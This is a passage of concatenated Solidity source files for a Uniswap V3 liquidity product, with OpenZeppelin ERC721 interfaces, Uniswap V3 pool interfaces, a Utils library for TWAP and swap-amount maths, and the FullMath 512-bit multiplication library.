if (x == 0) return 0;
else {
uint256 xx = x;
uint256 r = 1;
if (xx >= 0x100000000000000000000000000000000) {
xx >>= 128;
r <<= 64;
}
if (xx >= 0x10000000000000000) {
xx >>= 64;
r <<= 32;
}
if (xx >= 0x100000000) {
xx >>= 32;
r <<= 16;
}
if (xx >= 0x10000) {
xx >>= 16;
r <<= 8;
}
if (xx >= 0x100) {
xx >>= 8;
r <<= 4;
}
if (xx >= 0x10) {
xx >>= 4;
r <<= 2;
}
if (xx >= 0x8) {
r <<= 1;
}
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1; // Seven iterations should be enough
uint256 r1 = x / r;
return uint128(r < r1 ? r : r1);
}
}
}
// SPDX-License-Identifier: BUSL-1.1
pragma solidity 0.7.6;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "./ABDKMath64x64.sol";
/**
* Library with utility functions for xAssetCLR
*/
library Utils {
using SafeMath for uint256;
struct AmountsMinted {
uint256 amount0ToMint;
uint256 amount1ToMint;
uint256 amount0Minted;
uint256 amount1Minted;
}
/**
Get asset 1 twap price for the period of [now - secondsAgo, now]
*/
function getTWAP(int56[] memory prices, uint32 secondsAgo)
internal
pure
returns (int128)
{
// Formula is
// 1.0001 ^ (currentPrice - pastPrice) / secondsAgo
require(secondsAgo != 0, "Cannot get twap for 0 seconds");
int256 diff = int256(prices[1]) - int256(prices[0]);
uint256 priceDiff = diff < 0 ? uint256(-diff) : uint256(diff);
int128 fraction = ABDKMath64x64.divu(priceDiff, uint256(secondsAgo));
int128 twap =
ABDKMath64x64.pow(
ABDKMath64x64.divu(10001, 10000),
uint256(ABDKMath64x64.toUInt(fraction))
);
// This is necessary because we cannot call .pow on unsigned integers
// And thus when asset0Price > asset1Price we need to reverse the value
twap = diff < 0 ? ABDKMath64x64.inv(twap) : twap;
return twap;
}
/**
* Helper function to calculate how much to swap when
* staking or withdrawing from Uni V3 Pools
* Goal of this function is to calibrate the staking tokens amounts
* When we want to stake, for example, 100 token0 and 10 token1
* But pool price demands 100 token0 and 40 token1
* We cannot directly stake 100 t0 and 10 t1, so we swap enough
* to be able to stake the value of 100 t0 and 10 t1
*/
function calculateSwapAmount(
AmountsMinted memory amountsMinted,
int128 liquidityRatio,
uint256 midPrice
) internal pure returns (uint256 swapAmount) {
// formula is more complicated than xU3LP case
// it includes the asset prices, and considers the swap impact on the pool
// base formula is this:
// n - swap amt, x - amount 0 to mint, y - amount 1 to mint,
// z - amount 0 minted, t - amount 1 minted, p0 - pool mid price
// l - liquidity ratio (current mint liquidity vs total pool liq)
// (X - n) / (Y + n * p0) = (Z + l * n) / (T - l * n * p0) ->
// n = (X * T - Y * Z) / (p0 * l * X + p0 * Z + l * Y + T)
uint256 mul1 =
amountsMinted.amount0ToMint.mul(amountsMinted.amount1Minted);
uint256 mul2 =
amountsMinted.amount1ToMint.mul(amountsMinted.amount0Minted);
uint256 sub = subAbs(mul1, mul2);
uint256 add1 =
ABDKMath64x64.mulu(liquidityRatio, amountsMinted.amount1ToMint);
uint256 add2 =
midPrice
.mul(
ABDKMath64x64.mulu(liquidityRatio, amountsMinted.amount0ToMint)
)
.div(1e12);
uint256 add3 = midPrice.mul(amountsMinted.amount0Minted).div(1e12);
uint256 add = add1.add(add2).add(add3).add(amountsMinted.amount1Minted);
// Some numbers are too big to fit in ABDK's div 128-bit representation
// So calculate the root of the equation and then raise to the 2nd power
int128 nRatio =
ABDKMath64x64.divu(
ABDKMath64x64.sqrtu(sub),
ABDKMath64x64.sqrtu(add)
);
int64 n = ABDKMath64x64.toInt(nRatio);
swapAmount = uint256(n)**2;
}
// comparator for 32-bit timestamps
// @return bool Whether a <= b
function lte(
uint32 time,
uint32 a,
uint32 b
) internal pure returns (bool) {
if (a <= time && b <= time) return a <= b;
uint256 aAdjusted = a > time ? a : a + 2**32;
uint256 bAdjusted = b > time ? b : b + 2**32;
return aAdjusted <= bAdjusted;
}
// Subtract two numbers and return absolute value
function subAbs(uint256 amount0, uint256 amount1)
internal
pure
returns (uint256)
{
return amount0 >= amount1 ? amount0.sub(amount1) : amount1.sub(amount0);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
import "./IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
import "./IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.7.5;
pragma abicoder v2;
/// @title Creates and initializes V3 Pools
/// @notice Provides a method for creating and initializing a pool, if necessary, for bundling with other methods that
/// require the pool to exist.
interface IPoolInitializer {
/// @notice Creates a new pool if it does not exist, then initializes if not initialized
/// @dev This method can be bundled with others via IMulticall for the first action (e.g. mint) performed against a pool
/// @param token0 The contract address of token0 of the pool
/// @param token1 The contract address of token1 of the pool
/// @param fee The fee amount of the v3 pool for the specified token pair
/// @param sqrtPriceX96 The initial square root price of the pool as a Q64.96 value
/// @return pool Returns the pool address based on the pair of tokens and fee, will return the newly created pool address if necessary
function createAndInitializePoolIfNecessary(
address token0,
address token1,
uint24 fee,
uint160 sqrtPriceX96
) external payable returns (address pool);
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.7.5;
import '@openzeppelin/contracts/token/ERC721/IERC721.sol';
/// @title ERC721 with permit
/// @notice Extension to ERC721 that includes a permit function for signature based approvals
interface IERC721Permit is IERC721 {
/// @notice The permit typehash used in the permit signature
/// @return The typehash for the permit
function PERMIT_TYPEHASH() external pure returns (bytes32);
/// @notice The domain separator used in the permit signature
/// @return The domain seperator used in encoding of permit signature
function DOMAIN_SEPARATOR() external view returns (bytes32);
/// @notice Approve of a specific token ID for spending by spender via signature
/// @param spender The account that is being approved
/// @param tokenId The ID of the token that is being approved for spending
/// @param deadline The deadline timestamp by which the call must be mined for the approve to work
/// @param v Must produce valid secp256k1 signature from the holder along with `r` and `s`
/// @param r Must produce valid secp256k1 signature from the holder along with `v` and `s`
/// @param s Must produce valid secp256k1 signature from the holder along with `r` and `v`
function permit(
address spender,
uint256 tokenId,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external payable;
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
/// @title Immutable state
/// @notice Functions that return immutable state of the router
interface IPeripheryImmutableState {
/// @return Returns the address of the Uniswap V3 factory
function factory() external view returns (address);
/// @return Returns the address of WETH9
function WETH9() external view returns (address);
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
/// @title Provides functions for deriving a pool address from the factory, tokens, and the fee
library PoolAddress {
bytes32 internal constant POOL_INIT_CODE_HASH = 0xc02f72e8ae5e68802e6d893d58ddfb0df89a2f4c9c2f04927db1186a29373660;
/// @notice The identifying key of the pool
struct PoolKey {
address token0;
address token1;
uint24 fee;
}
/// @notice Returns PoolKey: the ordered tokens with the matched fee levels
/// @param tokenA The first token of a pool, unsorted
/// @param tokenB The second token of a pool, unsorted
/// @param fee The fee level of the pool
/// @return Poolkey The pool details with ordered token0 and token1 assignments
function getPoolKey(
address tokenA,
address tokenB,
uint24 fee
) internal pure returns (PoolKey memory) {
if (tokenA > tokenB) (tokenA, tokenB) = (tokenB, tokenA);
return PoolKey({token0: tokenA, token1: tokenB, fee: fee});
}
/// @notice Deterministically computes the pool address given the factory and PoolKey
/// @param factory The Uniswap V3 factory contract address
/// @param key The PoolKey
/// @return pool The contract address of the V3 pool
function computeAddress(address factory, PoolKey memory key) internal pure returns (address pool) {
require(key.token0 < key.token1);
pool = address(
uint256(
keccak256(
abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encode(key.token0, key.token1, key.fee)),
POOL_INIT_CODE_HASH
)
)
)
);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
import "../../introspection/IERC165.sol";
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
/// @title Callback for IUniswapV3PoolActions#swap
/// @notice Any contract that calls IUniswapV3PoolActions#swap must implement this interface
interface IUniswapV3SwapCallback {
/// @notice Called to `msg.sender` after executing a swap via IUniswapV3Pool#swap.
/// @dev In the implementation you must pay the pool tokens owed for the swap.
/// The caller of this method must be checked to be a UniswapV3Pool deployed by the canonical UniswapV3Factory.
/// amount0Delta and amount1Delta can both be 0 if no tokens were swapped.
/// @param amount0Delta The amount of token0 that was sent (negative) or must be received (positive) by the pool by
/// the end of the swap. If positive, the callback must send that amount of token0 to the pool.
/// @param amount1Delta The amount of token1 that was sent (negative) or must be received (positive) by the pool by
/// the end of the swap. If positive, the callback must send that amount of token1 to the pool.
/// @param data Any data passed through by the caller via the IUniswapV3PoolActions#swap call
function uniswapV3SwapCallback(
int256 amount0Delta,
int256 amount1Delta,
bytes calldata data
) external;
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.4.0;
/// @title Contains 512-bit math functions
/// @notice Facilitates multiplication and division that can have overflow of an intermediate value without any loss of precision
/// @dev Handles "phantom overflow" i.e., allows multiplication and division where an intermediate value overflows 256 bits
library FullMath {
/// @notice Calculates floor(a×b÷denominator) with full precision. Throws if result overflows a uint256 or denominator == 0
/// @param a The multiplicand
/// @param b The multiplier
/// @param denominator The divisor
/// @return result The 256-bit result
/// @dev Credit to Remco Bloemen under MIT license https://xn--2-umb.com/21/muldiv
function mulDiv(
uint256 a,
uint256 b,
uint256 denominator
) internal pure returns (uint256 result) {
// 512-bit multiply [prod1 prod0] = a * b
// Compute the product mod 2**256 and mod 2**256 - 1
// then use the Chinese Remainder Theorem to reconstruct
// the 512 bit result. The result is stored in two 256
// variables such that product = prod1 * 2**256 + prod0
uint256 prod0; // Least significant 256 bits of the product
uint256 prod1; // Most significant 256 bits of the product
assembly {
let mm := mulmod(a, b, not(0))
prod0 := mul(a, b)
prod1 := sub(sub(mm, prod0), lt(mm, prod0))
}
// Handle non-overflow cases, 256 by 256 division
if (prod1 == 0) {
require(denominator > 0);
assembly {
result := div(prod0, denominator)
}
return result;
}
// Make sure the result is less than 2**256.
// Also prevents denominator == 0
require(denominator > prod1);
///////////////////////////////////////////////
// 512 by 256 division.
///////////////////////////////////////////////
// Make division exact by subtracting the remainder from [prod1 prod0]
// Compute remainder using mulmod
uint256 remainder;
assembly {
remainder := mulmod(a, b, denominator)
}
// Subtract 256 bit number from 512 bit number
assembly {
prod1 := sub(prod1, gt(remainder, prod0))
prod0 := sub(prod0, remainder)
}
// Factor powers of two out of denominator
// Compute largest power of two divisor of denominator.
// Always >= 1.
uint256 twos = -denominator & denominator;
// Divide denominator by power of two
assembly {
denominator := div(denominator, twos)
}
// Divide [prod1 prod0] by the factors of two
assembly {
prod0 := div(prod0, twos)
}
// Shift in bits from prod1 into prod0. For this we need
// to flip `twos` such that it is 2**256 / twos.
// If twos is zero, then it becomes one
assembly {
twos := add(div(sub(0, twos), twos), 1)
}
prod0 |= prod1 * twos;
// Invert denominator mod 2**256
// Now that denominator is an odd number, it has an inverse
// modulo 2**256 such that denominator * inv = 1 mod 2**256.
// Compute the inverse by starting with a seed that is correct
// correct for four bits. That is, denominator * inv = 1 mod 2**4
uint256 inv = (3 * denominator) ^ 2;
// Now use Newton-Raphson iteration to improve the precision.
// Thanks to Hensel's lifting lemma, this also works in modular
// arithmetic, doubling the correct bits in each step.
inv *= 2 - denominator * inv; // inverse mod 2**8
inv *= 2 - denominator * inv; // inverse mod 2**16
inv *= 2 - denominator * inv; // inverse mod 2**32
inv *= 2 - denominator * inv; // inverse mod 2**64
inv *= 2 - denominator * inv; // inverse mod 2**128
inv *= 2 - denominator * inv; // inverse mod 2**256
// Because the division is now exact we can divide by multiplying
// with the modular inverse of denominator. This will give us the
// correct result modulo 2**256. Since the precoditions guarantee
// that the outcome is less than 2**256, this is the final result.
// We don't need to compute the high bits of the result and prod1
// is no longer required.
result = prod0 * inv;
return result;
}
/// @notice Calculates ceil(a×b÷denominator) with full precision. Throws if result overflows a uint256 or denominator == 0
/// @param a The multiplicand
/// @param b The multiplier
/// @param denominator The divisor
/// @return result The 256-bit result
function mulDivRoundingUp(
uint256 a,
uint256 b,
uint256 denominator
) internal pure returns (uint256 result) {
result = mulDiv(a, b, denominator);
if (mulmod(a, b, denominator) > 0) {
require(result < type(uint256).max);
result++;
}
}
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.4.0;
/// @title FixedPoint96
/// @notice A library for handling binary fixed point numbers, see https://en.wikipedia.org/wiki/Q_(number_format)
/// @dev Used in SqrtPriceMath.sol
library FixedPoint96 {
uint8 internal constant RESOLUTION = 96;
uint256 internal constant Q96 = 0x1000000000000000000000000;
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
/// @title Pool state that never changes
/// @notice These parameters are fixed for a pool forever, i.e., the methods will always return the same values
interface IUniswapV3PoolImmutables {
/// @notice The contract that deployed the pool, which must adhere to the IUniswapV3Factory interface
/// @return The contract address
function factory() external view returns (address);
/// @notice The first of the two tokens of the pool, sorted by address
/// @return The token contract address
function token0() external view returns (address);
/// @notice The second of the two tokens of the pool, sorted by address
/// @return The token contract address
function token1() external view returns (address);
/// @notice The pool's fee in hundredths of a bip, i.e. 1e-6
/// @return The fee
function fee() external view returns (uint24);
/// @notice The pool tick spacing
/// @dev Ticks can only be used at multiples of this value, minimum of 1 and always positive
/// e.g.: a tickSpacing of 3 means ticks can be initialized every 3rd tick, i.e., ..., -6, -3, 0, 3, 6, ...
/// This value is an int24 to avoid casting even though it is always positive.
/// @return The tick spacing
function tickSpacing() external view returns (int24);
/// @notice The maximum amount of position liquidity that can use any tick in the range
/// @dev This parameter is enforced per tick to prevent liquidity from overflowing a uint128 at any point, and
/// also prevents out-of-range liquidity from being used to prevent adding in-range liquidity to a pool
/// @return The max amount of liquidity per tick
function maxLiquidityPerTick() external view returns (uint128);
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
/// @title Pool state that can change
/// @notice These methods compose the pool's state, and can change with any frequency including multiple times
/// per transaction
interface IUniswapV3PoolState {
/// @notice The 0th storage slot in the pool stores many values, and is exposed as a single method to save gas
/// when accessed externally.
/// @return sqrtPriceX96 The current price of the pool as a sqrt(token1/token0) Q64.96 value
/// tick The current tick of the pool, i.e. according to the last tick transition that was run.
/// This value may not always be equal to SqrtTickMath.getTickAtSqrtRatio(sqrtPriceX96) if the price is on a tick
/// boundary.
/// observationIndex The index of the last oracle observation that was written,
/// observationCardinality The current maximum number of observations stored in the pool,
/// observationCardinalityNext The next maximum number of observations, to be updated when the observation.
/// feeProtocol The protocol fee for both tokens of the pool.
/// Encoded as two 4 bit values, where the protocol fee of token1 is shifted 4 bits and the protocol fee of token0
/// is the lower 4 bits. Used as the denominator of a fraction of the swap fee, e.g. 4 means 1/4th of the swap fee.
/// unlocked Whether the pool is currently locked to reentrancy
function slot0()
external
view
returns (
uint160 sqrtPriceX96,
int24 tick,
uint16 observationIndex,
uint16 observationCardinality,
uint16 observationCardinalityNext,
uint8 feeProtocol,
bool unlocked
);
/// @notice The fee growth as a Q128.128 fees of token0 collected per unit of liquidity for the entire life of the pool
/// @dev This value can overflow the uint256
function feeGrowthGlobal0X128() external view returns (uint256);
/// @notice The fee growth as a Q128.128 fees of token1 collected per unit of liquidity for the entire life of the pool
/// @dev This value can overflow the uint256
function feeGrowthGlobal1X128() external view returns (uint256);
/// @notice The amounts of token0 and token1 that are owed to the protocol
/// @dev Protocol fees will never exceed uint128 max in either token
function protocolFees() external view returns (uint128 token0, uint128 token1);
/// @notice The currently in range liquidity available to the pool
/// @dev This value has no relationship to the total liquidity across all ticks
function liquidity() external view returns (uint128);
/// @notice Look up information about a specific tick in the pool
/// @param tick The tick to look up
/// @return liquidityGross the total amount of position liquidity that uses the pool either as tick lower or
/// tick upper,
/// liquidityNet how much liquidity changes when the pool price crosses the tick,
/// feeGrowthOutside0X128 the fee growth on the other side of the tick from the current tick in token0,
/// feeGrowthOutside1X128 the fee growth on the other side of the tick from the current tick in token1,
/// tickCumulativeOutside the cumulative tick value on the other side of the tick from the current tick
/// secondsPerLiquidityOutsideX128 the seconds spent per liquidity on the other side of the tick from the current tick,
/// secondsOutside the seconds spent on the other side of the tick from the current tick,
/// initialized Set to true if the tick is initialized, i.e. liquidityGross is greater than 0, otherwise equal to false.
/// Outside values can only be used if the tick is initialized, i.e. if liquidityGross is greater than 0.
/// In addition, these values are only relative and must be used only in comparison to previous snapshots for
/// a specific position.
function ticks(int24 tick)
external
view
returns (
uint128 liquidityGross,
int128 liquidityNet,
uint256 feeGrowthOutside0X128,
uint256 feeGrowthOutside1X128,
int56 tickCumulativeOutside,
uint160 secondsPerLiquidityOutsideX128,
uint32 secondsOutside,
bool initialized
);
/// @notice Returns 256 packed tick initialized boolean values. See TickBitmap for more information
function tickBitmap(int16 wordPosition) external view returns (uint256);
/// @notice Returns the information about a position by the position's key
/// @param key The position's key is a hash of a preimage composed by the owner, tickLower and tickUpper
/// @return _liquidity The amount of liquidity in the position,
/// Returns feeGrowthInside0LastX128 fee growth of token0 inside the tick range as of the last mint/burn/poke,
/// Returns feeGrowthInside1LastX128 fee growth of token1 inside the tick range as of the last mint/burn/poke,
/// Returns tokensOwed0 the computed amount of token0 owed to the position as of the last mint/burn/poke,
/// Returns tokensOwed1 the computed amount of token1 owed to the position as of the last mint/burn/poke
function positions(bytes32 key)
external
view
returns (
uint128 _liquidity,
uint256 feeGrowthInside0LastX128,
uint256 feeGrowthInside1LastX128,
uint128 tokensOwed0,
uint128 tokensOwed1
);
/// @notice Returns data about a specific observation index
/// @param index The element of the observations array to fetch
/// @dev You most likely want to use #observe() instead of this method to get an observation as of some amount of time
/// ago, rather than at a specific index in the array.
/// @return blockTimestamp The timestamp of the observation,
/// Returns tickCumulative the tick multiplied by seconds elapsed for the life of the pool as of the observation timestamp,
/// Returns secondsPerLiquidityCumulativeX128 the seconds per in range liquidity for the life of the pool as of the observation timestamp,
/// Returns initialized whether the observation has been initialized and the values are safe to use
function observations(uint256 index)
external
view
returns (
uint32 blockTimestamp,
int56 tickCumulative,
uint160 secondsPerLiquidityCumulativeX128,
bool initialized
);
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
/// @title Pool state that is not stored
/// @notice Contains view functions to provide information about the pool that is computed rather than stored on the
/// blockchain. The functions here may have variable gas costs.
interface IUniswapV3PoolDerivedState {
/// @notice Returns the cumulative tick and liquidity as of each timestamp `secondsAgo` from the current block timestamp
/// @dev To get a time weighted average tick or liquidity-in-range, you must call this with two values, one representing
/// the beginning of the period and another for the end of the period. E.g., to get the last hour time-weighted average tick,
/// you must call it with secondsAgos = [3600, 0].
/// @dev The time weighted average tick represents the geometric time weighted average price of the pool, in
/// log base sqrt(1.0001) of token1 / token0. The TickMath library can be used to go from a tick value to a ratio.
/// @param secondsAgos From how long ago each cumulative tick and liquidity value should be returned
/// @return tickCumulatives Cumulative tick values as of each `secondsAgos` from the current block timestamp
/// @return secondsPerLiquidityCumulativeX128s Cumulative seconds per liquidity-in-range value as of each `secondsAgos` from the current block
/// timestamp
function observe(uint32[] calldata secondsAgos)
external
view
returns (int56[] memory tickCumulatives, uint160[] memory secondsPerLiquidityCumulativeX128s);
/// @notice Returns a snapshot of the tick cumulative, seconds per liquidity and seconds inside a tick range
/// @dev Snapshots must only be compared to other snapshots, taken over a period for which a position existed.
/// I.e., snapshots cannot be compared if a position is not held for the entire period between when the first
/// snapshot is taken and the second snapshot is taken.
/// @param tickLower The lower tick of the range
/// @param tickUpper The upper tick of the range
/// @return tickCumulativeInside The snapshot of the tick accumulator for the range
/// @return secondsPerLiquidityInsideX128 The snapshot of seconds per liquidity for the range
/// @return secondsInside The snapshot of seconds per liquidity for the range
function snapshotCumulativesInside(int24 tickLower, int24 tickUpper)
external
view
returns (
int56 tickCumulativeInside,
uint160 secondsPerLiquidityInsideX128,
uint32 secondsInside
);
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
/// @title Permissionless pool actions
/// @notice Contains pool methods that can be called by anyone
interface IUniswapV3PoolActions {
/// @notice Sets the initial price for the pool
/// @dev Price is represented as a sqrt(amountToken1/amountToken0) Q64.96 value
/// @param sqrtPriceX96 the initial sqrt price of the pool as a Q64.96
function initialize(uint160 sqrtPriceX96) external;
/// @notice Adds liquidity for the given recipient/tickLower/tickUpper position
/// @dev The caller of this method receives a callback in the form of IUniswapV3MintCallback#uniswapV3MintCallback
/// in which they must pay any token0 or token1 owed for the liquidity. The amount of token0/token1 due depends
/// on tickLower, tickUpper, the amount of liquidity, and the current price.
/// @param recipient The address for which the liquidity will be created
/// @param tickLower The lower tick of the position in which to add liquidity
/// @param tickUpper The upper tick of the position in which to add liquidity
/// @param amount The amount of liquidity to mint
/// @param data Any data that should be passed through to the callback
/// @return amount0 The amount of token0 that was paid to mint the given amount of liquidity. Matches the value in the callback
/// @return amount1 The amount of token1 that was paid to mint the given amount of liquidity. Matches the value in the callback
function mint(
address recipient,
int24 tickLower,
int24 tickUpper,
uint128 amount,
bytes calldata data
) external returns (uint256 amount0, uint256 amount1);
/// @notice Collects tokens owed to a position
/// @dev Does not recompute fees earned, which must be done either via mint or burn of any amount of liquidity.
/// Collect must be called by the position owner. To withdraw only token0 or only token1, amount0Requested or
/// amount1Requested may be set to zero. To withdraw all tokens owed, caller may pass any value greater than the
/// actual tokens owed, e.g. type(uint128).max. Tokens owed may be from accumulated swap fees or burned liquidity.
/// @param recipient The address which should receive the fees collected
/// @param tickLower The lower tick of the position for which to collect fees
/// @param tickUpper The upper tick of the position for which to collect fees
/// @param amount0Requested How much token0 should be withdrawn from the fees owed
/// @param amount1Requested How much token1 should be withdrawn from the fees owed
/// @return amount0 The amount of fees collected in token0
/// @return amount1 The amount of fees collected in token1
function collect(
address recipient,
int24 tickLower,
int24 tickUpper,
uint128 amount0Requested,
uint128 amount1Requested
) external returns (uint128 amount0, uint128 amount1);
/// @notice Burn liquidity from the sender and account tokens owed for the liquidity to the position
/// @dev Can be used to trigger a recalculation of fees owed to a position by calling with an amount of 0
/// @dev Fees must be collected separately via a call to #collect
/// @param tickLower The lower tick of the position for which to burn liquidity
/// @param tickUpper The upper tick of the position for which to burn liquidity
/// @param amount How much liquidity to burn
/// @return amount0 The amount of token0 sent to the recipient
/// @return amount1 The amount of token1 sent to the recipient
function burn(
int24 tickLower,
int24 tickUpper,
uint128 amount
) external returns (uint256 amount0, uint256 amount1);
/// @notice Swap token0 for token1, or token1 for token0
/// @dev The caller of this method receives a callback in the form of IUniswapV3SwapCallback#uniswapV3SwapCallback
/// @param recipient The address to receive the output of the swap
/// @param zeroForOne The direction of the swap, true for token0 to token1, false for token1 to token0
/// @param amountSpecified The amount of the swap, which implicitly configures the swap as exact input (positive), or exact output (negative)
/// @param sqrtPriceLimitX96 The Q64.96 sqrt price limit. If zero for one, the price cannot be less than this
/// value after the swap. If one for zero, the price cannot be greater than this value after the swap
/// @param data Any data to be passed through to the callback
/// @return amount0 The delta of the balance of token0 of the pool, exact when negative, minimum when positive
/// @return amount1 The delta of the balance of token1 of the pool, exact when negative, minimum when positive
function swap(
address recipient,
bool zeroForOne,
int256 amountSpecified,
uint160 sqrtPriceLimitX96,
bytes calldata data
) external returns (int256 amount0, int256 amount1);
/// @notice Receive token0 and/or token1 and pay it back, plus a fee, in the callback
/// @dev The caller of this method receives a callback in the form of IUniswapV3FlashCallback#uniswapV3FlashCallback
/// @dev Can be used to donate underlying tokens pro-rata to currently in-range liquidity providers by calling
/// with 0 amount{0,1} and sending the donation amount(s) from the callback
/// @param recipient The address which will receive the token0 and token1 amounts
/// @param amount0 The amount of token0 to send
/// @param amount1 The amount of token1 to send
/// @param data Any data to be passed through to the callback
function flash(
address recipient,
uint256 amount0,
uint256 amount1,
bytes calldata data
) external;
/// @notice Increase the maximum number of price and liquidity observations that this pool will store
/// @dev This method is no-op if the pool already has an observationCardinalityNext greater than or equal to
/// the input observationCardinalityNext.
/// @param observationCardinalityNext The desired minimum number of observations for the pool to store
function increaseObservationCardinalityNext(uint16 observationCardinalityNext) external;
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
/// @title Permissioned pool actions
/// @notice Contains pool methods that may only be called by the factory owner
interface IUniswapV3PoolOwnerActions {
/// @notice Set the denominator of the protocol's % share of the fees
/// @param feeProtocol0 new protocol fee for token0 of the pool
/// @param feeProtocol1 new protocol fee for token1 of the pool
function setFeeProtocol(uint8 feeProtocol0, uint8 feeProtocol1) external;
/// @notice Collect the protocol fee accrued to the pool
/// @param recipient The address to which collected protocol fees should be sent
/// @param amount0Requested The maximum amount of token0 to send, can be 0 to collect fees in only token1
/// @param amount1Requested The maximum amount of token1 to send, can be 0 to collect fees in only token0
/// @return amount0 The protocol fee collected in token0
/// @return amount1 The protocol fee collected in token1
function collectProtocol(
address recipient,
uint128 amount0Requested,
